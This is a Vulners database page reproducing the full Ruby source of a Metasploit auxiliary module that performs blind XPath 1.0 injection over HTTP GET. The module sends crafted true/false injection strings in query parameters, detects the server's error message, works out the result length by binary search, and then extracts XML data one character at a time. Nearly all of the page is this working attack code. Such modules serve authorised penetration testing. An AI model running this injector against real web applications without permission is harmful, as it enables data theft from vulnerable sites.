Lucene search
K

HTTP Blind XPATH 1.0 Injector

🗓️ 01 Feb 2010 02:12:30Reported by et <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

HTTP Blind XPATH 1.0 Injector module. Exploits blind XPATH 1.0 injections over HTTP GET requests. Allows customization of various HTTP options

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##



class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanDir
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'   		=> 'HTTP Blind XPATH 1.0 Injector',
      'Description'	=> %q{
        This module exploits blind XPATH 1.0 injections over HTTP GET requests.
      },
      'Author' 		=> [ 'et [at] metasploit . com' ],
      'License'		=> BSD_LICENSE))

    register_options(
      [
        OptString.new('METHOD', [ true, "HTTP Method",'GET']),
        OptString.new('PATH', [ true,  "The URI Path", '/vulnerable.asp']),
        OptString.new('PRE_QUERY', [ true,  "Pre-injection HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),
        OptString.new('POST_QUERY', [ false,  "Post-injection HTTP URI Query", ' ']),
        OptString.new('ERROR_MSG', [ true, "False error message", 'Server Error']),
        OptString.new('XCOMMAND', [ false, "XPath command to execute (Default for all XML doc)", '//*']),
        OptInt.new('MAX_LEN', [ true, "Maximum string length", 20000]),
        OptBool.new('MAX_OVER', [ true, "Dont detect result size. Use MAX_LEN instead", true ]),
        OptBool.new('CHKINJ', [ false, "Check XPath injection with error message", false ]),
        OptBool.new('DEBUG_INJ', [ false, "Debug XPath injection", true ])
      ])

  end

  def wmap_enabled
    false
  end

  def run_host(ip)

    #
    # Max string len
    #
    maxstr = datastore['MAX_LEN']

    conn = true

    rnum=rand(10000)

    # Weird crap only lower case 'and' operand works
    truecond = "'%20and%20'#{rnum}'='#{rnum}"
    falsecond = "'%20and%20'#{rnum}'='#{rnum+1}"

    hmeth = datastore['METHOD']
    tpath = normalize_uri(datastore['PATH'])
    prequery = datastore['PRE_QUERY']
    postquery = datastore['POST_QUERY']
    emesg = datastore['ERROR_MSG']
    xcomm = datastore['XCOMMAND']



    print_status("Initializing injection.")

    if datastore['CHKINJ']

      #
      # Detect error msg in true condition
      #

      begin
        res = send_request_cgi({
          'uri'  		=>  tpath,
          'query'     =>  "#{prequery}#{falsecond}#{postquery}",
          'method'   	=>	hmeth
        }, 20)

        return if not res

        if res.body.index(emesg)
          print_status("False statement check done.")
        else
          print_error("Error message not included in false condition.")
          return
        end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        conn = false
      rescue ::Timeout::Error, ::Errno::EPIPE
      end

      #
      # Detect error msg in false condition
      #

      begin
        res = send_request_cgi({
          'uri'  		=>  tpath,
          'query'     =>  "#{prequery}#{truecond}#{postquery}",
          'method'   	=>	hmeth
        }, 20)

        return if not res

        if res.body.index(emesg)
          print_error("Error message included in true condition.")
          return
        else
          print_status("True statement check done.")
        end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        conn = false
      rescue ::Timeout::Error, ::Errno::EPIPE
      end

      return if not conn
    end

    #
    # Find length of command result
    #

    low = 1
    high = maxstr

    if datastore['MAX_OVER']
      print_status("Max. limit set to #{maxstr} characters")
      reslen = maxstr
    else
      lenfound = false

      while !lenfound do
        middle = (low + high) / 2;

        if datastore['DEBUG_INJ']
          print_status("Length Low: #{low} High: #{high} Med: #{middle}")
        end

        injlen = "'%20and%20string-length(#{xcomm})=#{middle}%20and%20'#{rnum}'='#{rnum}"

        begin
          res = send_request_cgi({
            'uri'  		=>  tpath,
            'query'     =>  "#{prequery}#{injlen}#{postquery}",
            'method'   	=>	hmeth
          }, 20)

          return if not res

          if res.body.index(emesg)
            lenf = false
          else
            lenfound = true
            lenf = true
            lens = middle
          end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
          conn = false
        rescue ::Timeout::Error, ::Errno::EPIPE
        end

        if !lenf
          injlen = "'%20and%20string-length(#{xcomm})<#{middle}%20and%20'#{rnum}'='#{rnum}"

          begin
            res = send_request_cgi({
              'uri'  		=>  tpath,
              'query'     =>  "#{prequery}#{injlen}#{postquery}",
              'method'   	=>	hmeth
            }, 20)

            return if not res

            if res.body.index(emesg)
              low = middle
            else
              high = middle
            end
          rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            conn = false
          rescue ::Timeout::Error, ::Errno::EPIPE
          end
        end
      end

      print_status("Result size: #{lens}")
      reslen = lens.to_i
    end

    #
    # Execute xpath command and guess response
    #

    namestr = []
    numchr = 0

    for i in (1..reslen)
      #
      # Only alpha range
      #
      for k in (32..126)
        j = "%"+("%x" % k)

        # For Xpath 2.0 Blind search may be performed using a fast binary search using the
        # string-to-codepoints(string) function
        # injlen = "'%20and%20string-to-codepoints(substring(#{xcomm},#{i},1))<#{k}%20and%20'#{rnum}'='#{rnum}"

        # Basic Blind XPath 1.0 Injection
        injlen = "'%20and%20substring(#{xcomm},#{i},1)=\"#{j}\"%20and%20'#{rnum}'='#{rnum}"

        begin
          res = send_request_cgi({
            'uri'  		=>  tpath,
            'query'     =>  "#{prequery}#{injlen}#{postquery}",
            'method'   	=>	hmeth
          }, 20)

          return if not res

          if res.body.index(emesg)
            # neeeeext
          else
            if(numchr >= maxstr)
              # maximum limit reached
              print_status("#{xcomm}: #{namestr}")
              print_status("Maximum string length reached.")
              return
            end

            numchr+=1

            comperc = (numchr * 100) / maxstr

            namestr << "#{k.chr}"
            if datastore['DEBUG_INJ']
              print_status("#{comperc}%: '#{k.chr}' #{namestr}")
            end
            break
          end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
          conn = false
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
      end
    end

    print_status("#{xcomm}: #{namestr}")
    print_status("Done.")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2021 12:24Current
0.3Low risk
Vulners AI Score0.3
17